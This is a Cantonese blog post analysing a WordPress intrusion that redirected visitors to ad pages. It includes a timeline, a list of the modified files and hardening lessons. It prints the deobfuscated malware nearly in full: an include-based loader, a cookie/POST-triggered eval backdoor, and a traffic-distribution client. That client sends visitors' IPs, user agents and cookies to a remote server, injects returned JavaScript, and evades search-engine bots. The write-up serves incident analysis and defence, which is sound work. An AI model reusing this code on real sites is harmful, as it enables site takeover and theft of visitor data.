可否幫我低調地改個 title?(Part 1?)

是咁的,一直都沒什麼人用的 WordPress 突然被跳到不明來源的廣告網頁。起初都唔太留意發生乜野事,以下係少少記錄發生左乜野事,同時間檢討下可以點樣防止相同的入侵再發生。將來可能會出現 (都可能唔會出現的 Part 2 可能會研究下點解會被 code injection)。


時序

  • 12 月 17 日
    • 收到報告指 WordPress 轉向到謎之網頁
  • 12 月 18 日
    • 初步檢查
      • Server log 沒出現古怪的流量
      • Facebook Sharing Debugger 沒出現問題
      • 檢查 server SSH 後沒出現除 whitelist 外的成功登入記錄
      • 懷疑是 DNS spoofing 或 WordPress 出現問題
        • DNS Server 臨時換到 CloudFlare
  • 12 月 21 日
    • 謎之網頁繼續出現
    • 檢查 source code 後發現部分檔案被修改
    • 其他目錄沒有出現問題,排除是由 SSH / 其他路徑的入侵
    • WordPress 關閉
  • 12 月 24 日
    • 重新安裝 WordPress
    • 手動載入舊文章及內容
  • 12 月 25 日
    • 重開?

研究

註1:部份內容被修改已防止 server 上的資料流出。
註2:大部份檔案內容與參考 1 的檔案相似,故研究時大多參考該網頁。
註3:如有任何錯誤,請於 comments 中指正,謝謝。

以下的檔案被新增或修改

Folder other than wp-admin, wp-content, wp-includes
  + index.php
Root
  + svril[Redacted].php
  M index.php
  M wp-settings.php
wp-includes/js/dist
  + .f41df[Redacted].ico

註:+ 新增 / M 修改

index.php, wp-settings.php 及所有子目錄的 index.php 被植入以下代碼:

/*[Redacted]*/

@include "\057var\057www[Redacted]/wp\055inc\154ude\163/js\057dis\164/.f[Redacted]co";

/*[Redacted]*/

Bingo,中獎鳥,進入所有 WordPress 頁面都會載入 wp-includes/js/dist 內的 .ico 檔案 (30.9 KB)。

<?php
[Redacted] = basename/*1*/(/*0sogf*/trim/*5tvm8*/(/*y*/preg_replace/*ilg6p*/(/*4c8l*/rawurldecode/*m*/(/*rh*/"%2F%5C%28.%2A%24%2F"/*1zc*/)/*mp [Redacted]

//[Redacted]f79e953c372dc6925%3An0l%2Bsmb%25%25%7C3z%3F%3Av%3Fjyj%3D%3Dn%3C_%5C%5C%5Eg%3B%20%29%7Ccf

Payload 由兩部分組成,由 line 2 的 executable code 及 line 4 的 comments 組成。所以一開初先研究非 comments 的部分及以為 comments 為,php-cli 本身已經有移除 comments 的 options。

 -w               Output source with stripped comments and whitespace.
php -w .f41df[Redacted].ico > quest0.php

解讀後出現以下 source code:

<?php
$_9b6f0 = basename(trim(preg_replace(rawurldecode("%2F%5C%28.%2A%24%2F"), '', __FILE__))); 
$_3t96pm = "G%00%14%19E%0 [Redacted]";
$f = chr(616 - 517) . chr(114) . chr(498 - 397) . "\x61" . 't' . chr(101) . chr(671 - 576) . chr(478 - 376) . chr(251 - 134) . chr(857 - 747) . chr(99) . chr(116) . "\x69" . "\157" . "\x6e"; // 註:create_function
$f('', '};' . (rawurldecode($_3t96pm) ^ substr(str_repeat($_9b6f0, (strlen($_3t96pm) / strlen($_9b6f0)) + 1), 0, strlen($_3t96pm))) . '{');

要解讀 payload ,需要與 xor 檔案名及 path,如果檔案移到其他資料夾或伺服器上,payload 就不會被正確解讀,所以不會被跳到謎之網頁。php 很方便的只要 var_dump 就可以解開 payload ,即使用了 chr ,rawurldecode 等功能乜可以輕易解讀。 以下 payload 的 function name 及 variable name 已修改為更易閱讀的 format 。

Payload:

 if (!defined('stream_context_create ')) {
   define('stream_context_create ', 1);
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    if (!defined("PHP_EOL")) {
        define("PHP_EOL", "\n");
    }
    if (!defined('file_put_contents ')) {
        define('file_put_contents ', 1);
        $UUID = '[Redacted]'; // 註:原為 UUID
        global $UUID;

整段 payload 會新增一個 “stream_context_create ” (多了一個 space ) 的 function 。另外會關閉 php 的錯誤記錄以防止被紀錄在伺服器的 log 中。另外重新定義的 “file_put_contents ” 也多了一個 space 。

        function BASE64_DECODE_MALWARE($INPUT)
        {
            if (strlen($INPUT) < 4) {
                return "";
            }
            $STRING = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
            $ARRAY_STRING = str_split($STRING); // PUT STRING IN ARRAY [0 => A, 1 => B, ...]
            $ARRAY_STRING = array_flip($ARRAY_STRING); // REVERSE KEY AND VALUE [A => 0, B => 1, ...]
            $COUNTER = 0;
            $RETURN = "";
            $INPUT = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $INPUT);
            do {
                $byodgx = $ARRAY_STRING[$INPUT[$COUNTER++]];
                $sfsqpeop = $ARRAY_STRING[$INPUT[$COUNTER++]];
                $egzxabgn = $ARRAY_STRING[$INPUT[$COUNTER++]];
                $caoakyoy = $ARRAY_STRING[$INPUT[$COUNTER++]];
                $spgnfiiy = ($byodgx << 2) | ($sfsqpeop >> 4);
                $mqpvaq = (($sfsqpeop & 15) << 4) | ($egzxabgn >> 2);
                $lwaknva = (($egzxabgn & 3) << 6) | $caoakyoy;
                $RETURN = $RETURN . chr($spgnfiiy);
                if ($egzxabgn != 64) {
                    $RETURN = $RETURN . chr($mqpvaq);
                }
                if ($caoakyoy != 64) {
                    $RETURN = $RETURN . chr($lwaknva);
                }
            } while ($COUNTER < strlen($INPUT));
            return $RETURN;
        }

整段為 base64_decode 的 function 。如悉知為何要重新定義一次原來的 functions 可於 comments 中告知。

         if (!function_exists('file_put_contents')) {
            function file_put_contents($FILENAME, $DATA, $FLAG = False)
            {
                $MODE = $FLAG == 8 ? 'a' : 'w';  // IF FLAG = 8, WRITE POINTER = EOF, ELSE WRITE POINTER = FRONT
                $HANDLE = @fopen($FILENAME, $MODE);
                if ($HANDLE === False) {
                    return 0;
                } else {
                    if (is_array($DATA)) $DATA = implode($DATA);
                    $STATUS = fwrite($HANDLE, $DATA);
                    fclose($HANDLE);
                    return $STATUS;
                }
            }
        }
        if (!function_exists('file_get_contents')) {
            function file_get_contents($FILENAME)
            {
                $HANDLE = fopen($FILENAME, "r");
                $STRING = fread($HANDLE, filesize($FILENAME));
                fclose($HANDLE);
                return $STRING;
            }
        }

再重新 define 一次 php 原有的 functions,這次是讀取及寫入檔案的功能。可能是怕被伺服器擋住或怕留有記錄?

        function BASENAME_MALWARE()
        {
            return trim(preg_replace("/\(.*\$/", '',__FILE__));
        }

會再次回傳 filepath 來做 payload 的更新及解讀第二部分的 payload 。

        function XORFUNCTION($INPUTA, $INPUTB)
        {
            $STRING = "";
            for ($I = 0; $I < strlen($INPUTA);) {
                for ($J = 0; $J < strlen($INPUTB) && $I < strlen($INPUTA); $J++, $I++) {
                    $STRING .= chr(ord($INPUTA[$I]) ^ ord($INPUTB[$J]));
                }
            }
            return $STRING;
        }

        function DECRYPT1($INPUT_A, $INPUT_B)
        {
            global $UUID;
            return XORFUNCTION(XORFUNCTION($INPUT_A, $INPUT_B), $UUID);
        }

        function ENCRYPT1($INPUT_C, $INPUT_D)
        {
            global $UUID;
            return XORFUNCTION(XORFUNCTION($INPUT_C, $UUID), $INPUT_D);
        }

加密及解讀 payload 的部分 (xor 會用上 $UUID)。

        function READ_STH_FROM_FILE()
        {
            $STRING = @file_get_contents(BASENAME_MALWARE());
            $STRPOS_INT_FALSE = strpos($STRING, md5(BASENAME_MALWARE())); // abc, a
            if ($STRPOS_INT_FALSE !== FALSE) {
                $STRPOS_INT_FALSE_2 = substr($STRING, $STRPOS_INT_FALSE + 32); // CONV TO CAPS ASCII
                $RETURN = @unserialize(DECRYPT1(rawurldecode($STRPOS_INT_FALSE_2), md5(BASENAME_MALWARE())));
            } else {
                $RETURN = array();
            }
            return $RETURN;
        }

        function UPDATE_FILE($INPUT)
        {
            $PAYLOAD = rawurlencode(ENCRYPT1(@serialize($INPUT), md5(BASENAME_MALWARE())));
            $STRING = @file_get_contents(BASENAME_MALWARE());
            $STRPOS_INT_FALSE = strpos($STRING, md5(BASENAME_MALWARE()));
            if ($STRPOS_INT_FALSE !== FALSE) {
                $STRPOS_INT_FALSE_2 = substr($STRING, $STRPOS_INT_FALSE + 32); // CONV TO CAPS ASCII
                $STRING = str_replace($STRPOS_INT_FALSE_2, $PAYLOAD, $STRING);
            } else {
                $STRING = $STRING . "\n\n//" . md5(BASENAME_MALWARE()) . $PAYLOAD;
            }
            @file_put_contents(BASENAME_MALWARE(), $STRING);
        }

        function READFILE_BASE64DECODE_WRITEFILE($INPUT_A, $INPUT_B)
        {
            $STRING = READ_STH_FROM_FILE();
            $STRING[$INPUT_A] = BASE64_DECODE_MALWARE($INPUT_B);
            UPDATE_FILE($STRING);
        }

        function REMOVE_STH_FROM_FILE($KEY)
        {
            $STRING = READ_STH_FROM_FILE();
            unset($STRING[$KEY]);
            UPDATE_FILE($STRING);
        }

負責讀取,更新 payload 的部分。這會讀取 .ico 檔案中第 4 行的 comments 部分。第 4 行的部分為 filepath 的 md5 hash,如果找不到 hash 的話會為 hash 轉為大階 ( + 32 ASCII ) 再搜尋一次,如成功就可以解讀及執行 payload 。

        function EXEC_STH($INPUT = NULL)
        {
            foreach (READ_STH_FROM_FILE() as $KEY => $VALUE) {
                if ($INPUT) {
                    if (strcmp($INPUT, $KEY) == 0) {
                        eval($VALUE);
                        break;
                    }
                } else {
                    eval($VALUE);
                }
            }
        }

        foreach (array_merge($_COOKIE, $_POST) as $KEY => $VALUE) {
            $VALUE = @unserialize(DECRYPT1(BASE64_DECODE_MALWARE($VALUE), $KEY));
            if (isset($VALUE['ak']) && $UUID == $VALUE['ak']) {
                if ($VALUE['a'] == 'i') {
                    $PAYLOAD = array('pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $VALUE['ak'],);
                    echo @serialize($PAYLOAD);
                    exit;
                } elseif ($VALUE['a'] == 'e') {
                    eval($VALUE['d']);
                } elseif ($VALUE['a'] == 'plugin') {
                    if ($VALUE['sa'] == 'add') {
                        READFILE_BASE64DECODE_WRITEFILE($VALUE['p'], $VALUE['d']);
                    } elseif ($VALUE['sa'] == 'rem') {
                        REMOVE_STH_FROM_FILE($VALUE['p']);
                    }
                }
                echo $VALUE['ak'];
                exit();
            }
        }
        EXEC_STH();
    }
}

用來執行第二部分 payload 的部分及 main function ?

<?php
if (!defined('file_get_contents ')) {
    define('file_get_contents ', 1);

    class TdsClient
    {
        private $config;
        private $config_dict;

        public function __construct($config, $uid)
        {
            $this->config = $config;
            $this->uid = $uid;
        }

        private function _get_config()
        {
            if (empty($this->config_dict)) {
                $this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "[Redacted]"));
            }
            return $this->config_dict;
        }

        private function _http_query_curl($url, $content)
        {
            if (!function_exists('curl_version')) {
                return "";
            }

            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);

            if (!empty($content)) {
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
            }

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

            $server_output = curl_exec($ch);
            curl_close($ch);

            return $server_output;
        }

        private function _http_query_native($url, $content)
        {
            $context = array('http' => array(
                'method' => 'GET',
                'timeout' => 10,
                'ignore_errors' => true));

            if (!empty($content)) {
                $context['http']['method'] = 'POST';
                $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
                $context['http']['content'] = $content;
                $context['http']['timeout'] = 10;
            }
            $context = stream_context_create($context);

            return @file_get_contents($url, FALSE, $context);
        }

        private function _http_query($url, $query)
        {
            $url = str_replace("[URL]", "[Redacted]", $url);

            $content = $this->_http_query_curl($url, $query);
            if (!$content) {
                $content = $this->_http_query_native($url, $query);
            }

            return $content;
        }

        private function _get_request_ip()
        {
            $ip_keys = array('REMOTE_ADDR',);
            foreach ($ip_keys as $key) {
                if (array_key_exists($key, $_SERVER) === TRUE) {
                    foreach (explode(',', $_SERVER[$key]) as $ip) {
                        $ip = trim($ip);
                        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE) {
                            return $ip;
                        }
                    }
                }
            }

            return "";
        }

        private function _query()
        {
            $tds_config = $this->_get_config();

            $ip = $tds_config["tds_ip"];
            $port = $tds_config["tds_port"];
            $path = $tds_config["tds_path"];

            $route = "[Redacted]";
            if (!empty($tds_config["route"])) {
                $route = $tds_config["route"];
            }

            $query = array();
            $query['i'] = $this->_get_request_ip();
            $query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
            $query['u'] = @$_SERVER['HTTP_USER_AGENT'];
            $query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
            $query['r'] = @$_SERVER['HTTP_REFERER'];
            $query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
            $query['aa'] = @$_SERVER['HTTP_ACCEPT'];
            $query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
            $query['c'] = @$_SERVER['HTTP_CONNECTION'];
            if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
                $query['cfi'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];
            }
            if (isset($_SERVER['HTTP_X_REAL_IP'])) {
                $query['xri'] = @$_SERVER['HTTP_X_REAL_IP'];
            }
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $query['xff'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
            }
            $query['co'] = @serialize(@$_COOKIE);
            $query['cp'] = serialize(array("a" => $route, "uid" => $this->uid));

            $query = http_build_query($query);
            $url = "http://" . $ip . ":" . $port . $path;

            return $this->_http_query($url, $query);
        }

        public function process_request()
        {
            $content = @unserialize($this->_query());

            if (isset($content["options"])) {
                foreach ($content["cookies"] as $key => $value_and_ttl) {
                    @setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']);
                }

                if (isset($content["options"]["type"]) && $content["options"]["type"] == "inject") {
                    $GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]);
                    ob_start("TdsClient::postrender_handler");
                } else {
                    foreach ($content["headers"] as $key => $value) {
                        @header("$key: $value");
                    }

                    if (strlen($content["data"]) != 0) {
                        exit(TdsClient::b64d($content["data"])); # TODO: check if its file
                    }
                }
            }
        }

        public function try_process_check_request()
        {
            foreach (array_merge($_COOKIE, $_POST) as $data_key => $data) {
                $data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key));

                if (isset($data['ak']) && $this->uid == $data['ak']) {
                    if ($data['sa'] == 'check') {
                        return TRUE;
                    }
                }
            }

            return FALSE;
        }

        public function can_process_request()
        {
            $tds_config = $this->_get_config();

            eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}");

            if (function_exists("is_acceptable_tds_request")) {
                if (!is_acceptable_tds_request()) {
                    return FALSE;
                }
            }

            return TRUE;
        }

        static public function postrender_handler($buffer)
        {
            // prepare page content
            $content = $buffer;
            $js_code = $GLOBALS['injectable_js_code'];

            if (strpos(strtolower($content), "</head>") !== FALSE) {
                $content = str_replace("</head>", $js_code . "\n" . "</head>", $content);
            } elseif (strpos(strtolower($content), "</body>") !== FALSE) {
                $content = str_replace("</body>", $js_code . "\n" . "</body>", $content);
            }

            return $content;
        }

        private function _decrypt_phase($data, $key)
        {
            $out_data = "";

            for ($i = 0; $i < strlen($data);) {
                for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }

            return $out_data;
        }

        private function _decrypt($data, $key)
        {
            return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid);
        }

        static public function b64d($input)
        {
            if (strlen($input) < 4) {
                return "";
            }

            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

            $keys = str_split($keyStr);
            $keys = array_flip($keys);

            $i = 0;
            $output = "";

            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);

            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];

                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    }

    $uid = '[Redacted]';
    $config = '[Redacted]'; // 註:base64 內容

    $client = new TdsClient($config, $uid);

    if ($client->try_process_check_request()) {
        echo "<tds>" . PHP_EOL;
        echo $uid;
        echo "</tds>" . PHP_EOL;
    } else {
        if ($client->can_process_request()) {
            $client->process_request();
        }
    }
}

將 comments 解開後的 payload,每個 function name 也很貼心的沒有 obstruction,是獎勵嗎? TdsClient 的 class 會向 $config 的 IP 發送用戶的 IP,user agent 的等資料,然後回傳謎之網頁的 URL / javascript 並植入到 head 中。

array(5) {
   ["route"]=>
   string(8) "[Redacted]"
   ["tds_port"]=>
   string(2) "80"
   ["tds_filter"]=>
   string(927) "if ($_SERVER['REQUEST_METHOD'] != 'GET' || empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || strpos($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) !== FALSE)
 {
     return FALSE;
 }
 if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/(yandexbot|baiduspider|archiver|track|crawler|google|msnbot|ysearch|search|bing|ask|indexer|majestic|scanner|spider|facebook|Bot)/i', $_SERVER['HTTP_USER_AGENT']))
 {
     return FALSE;
 }
 foreach (array('/.css/', '/.swf/', '/.ashx/', '/.docx/', '/.doc/', '/.xls/', '/.xlsx/', '/.xml/', '/.jpg/', '/.pdf/', '/.png/', '/.gif/', '/.ico/', '/.js/', '/.txt/', '/ajax/', '/cron.php/', '/wp-login.php/', '/\/wp-includes\//', '/\/wp-admin/', '/\/admin\/
 /', '/\/wp-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc.php/', '/\/feed\//', ) as $regex)
 {
     if (preg_match($regex, @$_SERVER['REQUEST_URI']))
     {
         return FALSE;
     }
 }
 return TRUE;"
   ["tds_path"]=>
   string(11) "/readme.php"
   ["tds_ip"]=>
   string(12) "138.201.1.[Redacted]"
 }

解讀 config 後可得知更多資料:

  • 如果 user agent 不是 google / bing / facebook 的 bot 的話才會出現。
    • 可能是防止被發現或防止被 flag 為可疑網站?
    • 解釋了 Facebook Sharing Debugger 沒出現問題?
  • payload 不會被 WordPress 的 admin page 載入
  • 迷之 TDS_IP 在德國?

教訓 / 檢討

  • 定期更新 WordPress 的 plugins / themes
    • plugins / themes 的洞洞多的是。
  • 檢查 file hashs / file integrity monitoring
  • 不要共用管理員帳號
    • 共用帳號密碼一世也不會 update。
    • 登入頁現在使用了 Azure ADCloudFlare access 管理登入。
    • 如有需要可以再使用 MFA (Multi-Factor Authentication)。

來源 / 參考:

發表評論

This site uses Akismet to reduce spam. Learn how your comment data is processed.